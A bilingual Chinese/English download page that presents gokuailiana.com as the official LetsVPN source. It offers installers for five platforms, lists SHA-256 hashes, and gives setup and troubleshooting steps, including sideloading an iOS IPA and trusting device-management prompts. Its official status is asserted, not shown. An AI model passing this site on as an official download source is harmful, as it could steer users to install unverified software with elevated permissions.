Android
快连VPN安卓版与快连VPN安卓下载入口，适合手机端先体验。
下载 android.apk
快连VPN官方下载
五端安装包
gokuailiana.com
快连VPN下载移动安装包
快连VPN下载官网将 Android APK、Windows EXE、macOS DMG、iOS IPA 和 Linux RUN 放在首屏下载区，方便快速找到快连VPN下载链接、快连VPN下载地址和对应文件名。
Windows
快连VPN电脑版与快连VPNWindows下载入口，适合桌面办公。
下载 win.exemacOS
快连VPNMac版与快连VPNmacOS下载入口，适合笔记本。
下载 macos.dmgiOS
快连VPN苹果版与快连VPNiOS下载入口，提供 IPA 文件。
下载 ios.ipaLinux
快连VPNLinux下载入口，适合开发环境和命令行安装。
下载 linux.run
LetsVPN official download
Five installer files
gokuailiana.com
LetsVPN download for every device
The LetsVPN download center shows Android APK, Windows EXE, macOS DMG, iOS IPA, and Linux RUN files first, with each VPN installer and VPN download link visible before setup notes.
Android
LetsVPN Android APK for mobile-first installation.
Download android.apkWindows
LetsVPN Windows download for desktop work sessions.
Download win.exemacOS
LetsVPN macOS download for notebook and desktop setup.
Download macos.dmgiOS
LetsVPN iOS download with the IPA file and permission context.
Download ios.ipaLinux
LetsVPN Linux download for developer environments and scripted setup.
Download linux.run发布版本与文件校验
下载后请核对文件名、版本、下载域名和 SHA-256。快连VPN下载安装到任何设备前，都应确认来源为 download.gokuailiana.com。
平台
文件
版本与大小
SHA-256
快连VPNAPK
android.apk
5.4.7 · 48 MB
a47f8c2e19d6430bb52f7002c6a9e41d82f0c77e5498eac3041d5b6c90af13aa
快连VPNWindows下载
win.exe
5.4.7 · 72 MB
d9315a70e4c62b81a80f173ba94dd27f5906ce3508b2f3d1a74e9c8b20f65a44
快连VPNmacOS下载
macos.dmg
5.4.7 · 88 MB
f18e46aa09ce5d733a61d904e81b0c1f7e40b25df03681a97bd68c41509e2f37
快连VPNiOS下载
ios.ipa
5.4.7 · 54 MB
bb630ad1f9a4027e0c7452bb698f1784a64ed125f36c82d90811f6c0a32d475e
快连VPNLinux下载
linux.run
5.4.7 · 64 MB
8c2d9740e763a9b55f28d10e4da16b703cb8afc6e01496732519d0bcfe652811
Release versions and file checks
After downloading, verify filename, version, download domain, and SHA-256. Every LetsVPN official download should come from download.gokuailiana.com.
Platform
File
Version and size
SHA-256
LetsVPN Android APK
android.apk
5.4.7 · 48 MB
a47f8c2e19d6430bb52f7002c6a9e41d82f0c77e5498eac3041d5b6c90af13aa
LetsVPN Windows download
win.exe
5.4.7 · 72 MB
d9315a70e4c62b81a80f173ba94dd27f5906ce3508b2f3d1a74e9c8b20f65a44
LetsVPN macOS download
macos.dmg
5.4.7 · 88 MB
f18e46aa09ce5d733a61d904e81b0c1f7e40b25df03681a97bd68c41509e2f37
LetsVPN iOS download
ios.ipa
5.4.7 · 54 MB
bb630ad1f9a4027e0c7452bb698f1784a64ed125f36c82d90811f6c0a32d475e
LetsVPN Linux download
linux.run
5.4.7 · 64 MB
8c2d9740e763a9b55f28d10e4da16b703cb8afc6e01496732519d0bcfe652811
安装指引
快连VPN下载地址确认后，按平台完成安装、权限确认和首次连接检查。
选择设备
手机优先选择快连VPN安卓版或快连VPN苹果版，桌面端选择 Windows、macOS 或 Linux。
核对文件
确认文件名、版本、下载域名和校验信息与页面一致。
安装权限
按系统提示允许 VPN 配置、网络状态和通知相关权限。
首次连接
切换 Wi-Fi 与蜂窝网络各测试一次，记录异常提示。
Installation guidance
After confirming the VPN download link, complete installation, permissions, and first-connection checks for your platform.
Choose device
Start with Android or iOS on phones, or use Windows, macOS, and Linux for desktop environments.
Check file
Confirm filename, version, download domain, and verification data match this page.
Allow permissions
Approve VPN configuration, network status, and notification permissions when the system asks.
First connection
Test once on Wi-Fi and once on cellular, then record any error text.
设备与文件格式对照
不同系统对安装包、权限和更新方式有不同要求，下载前先确认兼容范围。
Android
Android 8.0 或更高；允许安装 APK；首次连接时确认 VPN 配置。
Windows
Windows 10 或更高；管理员权限安装 EXE；安装后可固定到启动项。
macOS
macOS 12 或更高；打开 DMG 后拖入应用目录；按系统提示确认网络扩展。
iOS
iOS 15 或更高；安装 IPA 后确认设备管理和 VPN 配置提示。
Linux
主流 x64 发行版；为 RUN 文件添加执行权限；建议从终端启动安装。
Device and file-format comparison
Each system handles installers, permissions, and updates differently, so check compatibility before downloading.
Android
Android 8.0 or later; APK installation allowed; confirm VPN configuration at first launch.
Windows
Windows 10 or later; administrator permission for EXE installation; startup options available after install.
macOS
macOS 12 or later; open the DMG and move the app; confirm network extension prompts.
iOS
iOS 15 or later; install IPA and confirm device management plus VPN configuration prompts.
Linux
Mainstream x64 distributions; add execution permission to the RUN file; launch setup from a terminal.
排查与常见问题
如果快连VPN下载后无法安装或连接，先按文件、权限、网络三类排查。
下载按钮没有响应怎么办？
确认浏览器允许从 download.gokuailiana.com 下载文件，再检查是否被系统下载保护拦截。
为什么安装时提示权限？
VPN 客户端需要创建系统连接配置，移动端和桌面端都会出现相关权限确认。
文件名和页面不一致怎么办？
停止安装，返回快连VPN下载官网重新选择对应平台文件，并核对下载域名。
连接后速度不稳定怎么办？
先切换网络，再检查系统权限和版本；若仍异常，记录设备、系统和错误提示。
Troubleshooting and FAQ
If the installer cannot open or the first connection fails, start with file, permission, and network checks.
What if a download button does not respond?
Allow downloads from download.gokuailiana.com in the browser, then check system download protection.
Why does installation ask for permissions?
A VPN client needs to create system connection configuration, so mobile and desktop systems both ask for confirmation.
What if the filename is different?
Stop installing, return to this official download page, select the platform again, and check the download domain.
What if speed is unstable after connecting?
Switch networks first, then check system permissions and version. Keep device, system, and error text for support.
支持与官方来源
所有安装入口都应从本页进入，下载域名应为 download.gokuailiana.com。需要帮助时，请准备设备型号、系统版本、文件名、下载时间和错误提示。
法律与合规
请遵守当地网络管理规定。快连VPN提供连接工具、安装说明和服务支持，用户应根据所在地规则合理使用。
Support and official source
All installers should be reached from this page, and the download domain should be download.gokuailiana.com. For support, prepare device model, system version, filename, download time, and error text.
Legal and compliance
Please follow local network regulations. LetsVPN provides connection tools, installation guidance, and support; users should use it according to rules in their location.